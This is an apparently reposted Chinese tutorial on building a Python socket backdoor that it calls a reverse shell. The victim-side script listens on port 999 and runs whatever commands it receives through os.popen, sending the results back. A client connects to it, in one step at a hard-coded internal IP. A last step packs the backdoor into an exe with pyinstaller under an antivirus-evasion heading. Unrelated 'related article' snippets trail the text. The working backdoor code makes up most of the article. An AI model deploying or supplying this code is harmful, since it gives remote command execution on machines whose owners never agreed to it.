Python 渗透测试:反弹 shell (反弹 后门 || 程序免杀)

什么叫 反弹 shell

反弹 shell (Reverse Shell) 是一种常见的渗透测试技术,它指的是受害者主机主动连接攻击者的主机,从而让攻击者获得对受害者主机的控制权。在一个典型的反弹 shell 攻击中,攻击者会在自己的主机上监听一个特定的端口,然后诱使目标主机主动连接到这个端口。当目标主机与攻击者的主机建立连接后,攻击者就可以通过这个连接获得目标主机的 shell 访问权限,从而进行进一步的渗透和控制。


目录:

什么叫 反弹 shell

反弹 shell 的工作原理如下:

反弹 shell 编写:

(1)基本知识:

客户端(后执行):

服务端(先运行服务端):

(2)执行命令,发送和接收命令.

客户端(后执行):

服务端(先运行服务端):

(3)实战 执行命令,发送和接收命令.

客户端(后执行):

服务端(把这个 Python 程序 拿到服务端执行):

(4)实战 执行命令,发送多条命令去服务端执行并返回执行后的结果.

客户端(后执行):

服务端(把这个 Python 程序 拿到服务端执行):

(5)如果 服务端没有 Python 环境,则需要打包为 exe 程序.(加做免杀)

服务端(把这个程序 拿到服务端执行):

客户端(后执行):


基础知识:

Python 的 socket 网络通讯图.(有涉及到通信都涉及到socket.)


反弹 shell 的工作原理如下:

(1)攻击者在自己的主机上监听一个特定的端口,等待目标主机的连接.(2)攻击者在目标主机上执行一段代码,让目标主机主动连接到攻击者的主机.(3)当连接建立后,攻击者就可以通过这个连接获得目标主机的 shell 访问权限.

反弹 shell 编写:

(1)基本知识:

客户端(后执行):
import socket # 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果s=socket.socket()                   # 建立 socket 
s.connect(("127.0.0.1",999))        # 连接
#cmd=input("请输入要执行的命令:")
s.send("ok".encode())               # 发送 .encode() 是编码的意思(发送比特流数据)
服务端(先运行服务端):
import socket# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去s=socket.socket()                 # 建立 socket
s.bind(("0.0.0.0",999))           # 绑定 当前地址
s.listen(5)                       # 监听:最多 5 个终端
sss,add=s.accept()                # 被动接受客户端的连接,等待连接的到来.
data=sss.recv(1024).decode()      # 接收数据, .decode 解码比特流数据.
print(data)                       # 接收数据,然后打印出来.


(2)执行命令,发送和接收命令.

客户端(后执行):
import socket # 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果s=socket.socket()                   # 建立 socket 
s.connect(("127.0.0.1",999))        # 连接
cmd=input("请输入要执行的命令:")     # 输入我们要执行的命令.
s.send(cmd.encode())                # cmd 是执行的命令
data=s.recv(1024).decode()          # 接收的这里用写1024的,然后 decode 解码比特流数据.
print(data)                         # 再把数据打印
服务端(先运行服务端):
import socket,os# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去s=socket.socket()                   # 建立 socket
s.bind(("0.0.0.0",999))             # 绑定 当前地址
s.listen(5)                         # 监听:最多 5 个终端
sss,add=s.accept()                  # 被动接受客户端的连接,等待连接的到来.
data=sss.recv(1024).decode()        # 接收数据, .decode 解码比特流数据.
s=os.popen(data).read()             # popen() 去执行这个结果,read()用来读取这个格式
sss.send(s.encode())                # send()把结果发送到客户端,encode()把发送数据要进行编码


(3)实战 执行命令,发送和接收命令.

客户端(后执行):
import socket # 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果s=socket.socket()                   # 建立 socket 
s.connect(("172.16.10.19",999))     # 连接( IP地址 写服务端的 IP地址 )
cmd=input("请输入要执行的命令:")     # 输入我们要执行的命令.
s.send(cmd.encode())                # cmd 是执行的命令
data=s.recv(1024).decode()          # 接收的这里用写1024的,然后 decode 解码比特流数据.
print(data)                         # 再把数据打印
服务端(把这个 Python 程序 拿到服务端执行):
import socket,os# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去s=socket.socket()                   # 建立 socket
s.bind(("0.0.0.0",999))             # 绑定 当前地址
s.listen(5)                         # 监听:最多 5 个终端
sss,add=s.accept()                  # 被动接受客户端的连接,等待连接的到来.
data=sss.recv(1024).decode()        # 接收数据, .decode 解码比特流数据.
s=os.popen(data).read()             # popen() 去执行这个结果,read()用来读取这个格式
sss.send(s.encode())                # send()把结果发送到客户端,encode()把发送数据要进行编码


(4)实战 执行命令,发送多条命令去服务端执行并返回执行后的结果.

客户端(后执行):
import socket # 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果ip=input("请输入服务端的 IP 地址:")s=socket.socket()                   # 建立 socket 
s.connect((ip,999))                 # 连接
while True:                             # 写个循环,让他为真(他就可以一直输入命令)cmd=input("请输入要执行的命令:")     # 输入我们要执行的命令.s.send(cmd.encode())                # cmd 是执行的命令data=s.recv(1024).decode()          # 接收的这里用写1024的,然后 decode 解码比特流数据.print(data)                         # 再把数据打印s.close()                               # 不为真的就关闭.(不执行就关闭)
服务端(把这个 Python 程序 拿到服务端执行):
import socket,os# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去s=socket.socket()                   # 建立 socket
s.bind(("0.0.0.0",999))             # 绑定 当前地址
s.listen(5)                         # 监听:最多 5 个终端
while True:                         # 写个循环,让他为真(他就可以一直执行命令和返回命令)sss,addr=s.accept()                  # 被动接受客户端的连接,等待连接的到来.while True:                         # 如果这里不加循环,上面的结果执行一次后,连接就会关闭。所以要让他一直保持开的状态.(为真 )data=sss.recv(1024).decode()        # 接收数据, .decode 解码比特流数据.s=os.popen(data).read()             # popen() 去执行这个结果,read()用来读取这个格式sss.send(s.encode())                # send()把结果发送到客户端,encode()把发送数据要进行编码s.close()                           #  # 不为真的就关闭.(不执行就关闭)

(5)如果 服务端没有 Python 环境,则需要打包为 exe 程序.(加做免杀)

1.py 就是服务端代码:pip install pyinstaller            // 下载 pyinstaller pyinstaller -F 1.py                // 1.py是要打包的exe文件,!!!记得打包成功后 exe 文件在当前目录的 dist 下.

 

服务端(把这个程序 拿到服务端执行):


客户端(后执行):
import socket # 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果ip=input("请输入服务端的 IP 地址:")s=socket.socket()                   # 建立 socket 
s.connect((ip,999))                 # 连接
while True:                             # 写个循环,让他为真(他就可以一直输入命令)cmd=input("请输入要执行的命令:")     # 输入我们要执行的命令.s.send(cmd.encode())                # cmd 是执行的命令data=s.recv(1024).decode()          # 接收的这里用写1024的,然后 decode 解码比特流数据.print(data)                         # 再把数据打印s.close()                               # 不为真的就关闭.(不执行就关闭)

   

   

  

学习链接:第158天:安全开发-Python-Socket编程&反弹Shell&分离免杀&端口探针&域名爆破_哔哩哔哩_bilibili

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/705642.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

win10安装docker

控制面板-> 程序和功能 最好是是管理员进入cmd PS C:\Windows\system32> wsl --status PS C:\Windows\system32> wsl --install -d Ubuntu 正在安装: 适用于 Linux 的 Windows 子系统 已安装 适用于 Linux 的 Windows 子系统。 正在安装: Ubuntu 已安装 Ubuntu。 请…

(规格参考)ADP5360ACBZ-1-R7 电量计 电池管理IC,ADP5072ACBZ 双通道直流开关稳压器,ADL5903ACPZN 射频检测器

1、ADP5360ACBZ-1-R7:具有超低功耗电量计、电池保护功能的先进电池管理PMIC 功能:电池保护 电池化学成份:锂离子/聚合物 电池数:1 故障保护:超温,过压 接口:I2C 工作温度:-40C ~ 85…

两个手机在一起ip地址一样吗?两个手机是不是两个ip地址

在数字时代的浩瀚海洋中,手机已经成为我们生活中不可或缺的一部分。随着移动互联网的飞速发展,IP地址成为了连接手机与互联网的桥梁。那么,两个手机在一起IP地址一样吗?两个手机是不是两个IP地址?本文将带您一探究竟&a…

【半夜学习MySQL】复合查询(含多表查询、自连接、单行/多行子查询、多列子查询、合并查询等详解)

🏠关于专栏:半夜学习MySQL专栏用于记录MySQL数据相关内容。 🎯每天努力一点点,技术变化看得见 文章目录 回顾基本查询多表查询自连接子查询单行子查询多行子查询多列子查询在from子句中使用子查询合并查询 回顾基本查询 下面使用…

实时网络监控 - 一目了然网络状况

网络问题排查一直是IT管理员头痛的问题。随着网络规模的不断扩大和业务复杂度的提升,如何快速定位和解决网络故障变得尤为关键。本文详细介绍了一款名为 AnaTraf 的网络流量分析工具,它能提供全流量回溯分析、实时网络监控、性能分析等功能,助力企业快速诊断和解决各…

商品服务:SPUSKU规格参数销售属性

1.Object划分 1.PO(Persistant Object)持久对象 PO就是对应数据库中某个表中的一条记录,多个记录可以用PO的集合。PO中应该不报含任何对数据库的操作 2.DO(Domain Object) 领域对象 就是从现实世界中抽象出来的有形或无形的业务实体。 3…

windows部署腾讯tmagic-editor03-DSL 解析渲染

创建项目 将上一教程中的editor-runtime和hello-editor复制过来 概念 实现 创建hello-ui目录 渲染节点 在hello-ui下创建 Component.vue 文件 由于节点的type是由业务自行定义的,所以需要使用动态组件渲染,在vue下可以使用component组件来实现 c…

Rust构造JSON和解析JSON

目录 一、Rust构造JSON和解析JSON 二、知识点 serde_json JSON 一、Rust构造JSON和解析JSON 添加依赖项 cargo add serde-json 代码&#xff1a; use serde_json::{Result, Value};fn main() -> Result<()>{//构造json结构 cpu_loadlet data r#"{"…

【Redis】数据类型

Redis数据类型&#xff08;5 3 1&#xff09; 五种基本数据类型 String字符串 特点 二进制安全&#xff0c;可以包含任何数据&#xff0c;如数字&#xff0c;字符串&#xff0c;jpg图片或者序列化的对象 应用场景 缓存&#xff1a; redis作为缓存层&#xff0c;mysql做持…

如何去除字符串两侧的空白字符?

TRIM函数会去掉字符串左侧和右侧的空格&#xff0c;语法是&#xff1a;TRIM(字符串) excel中&#xff0c;TRIM函数能去掉字符串左侧和右侧的空格&#xff0c;它的ASCII码是32。 以下设定一个字符串组合&#xff0c;它的第一个字符中空格&#xff0c;最后一个字符是换行符 &q…

【算法】最短路问题 bfs 到 dijkstra

1976、到达目的地的方案数 你在一个城市里&#xff0c;城市由 n 个路口组成&#xff0c;路口编号为 0 到 n - 1 &#xff0c;某些路口之间有 双向 道路。输入保证你可以从任意路口出发到达其他任意路口&#xff0c;且任意两个路口之间最多有一条路。 给你一个整数 n 和二维整…

一线互联网大数据面试题核心知识库(100万字)

本面试宝典涵盖大数据面试高频的所有技术栈&#xff0c;包括Liunx&Shell基础&#xff0c;Hadoop&#xff0c;Zookpeer&#xff0c;Flume&#xff0c;Kafka&#xff0c;Hive&#xff0c;Datax&#xff0c;Maxwell&#xff0c;DolphinScheduler&#xff0c;Spark Core&SQ…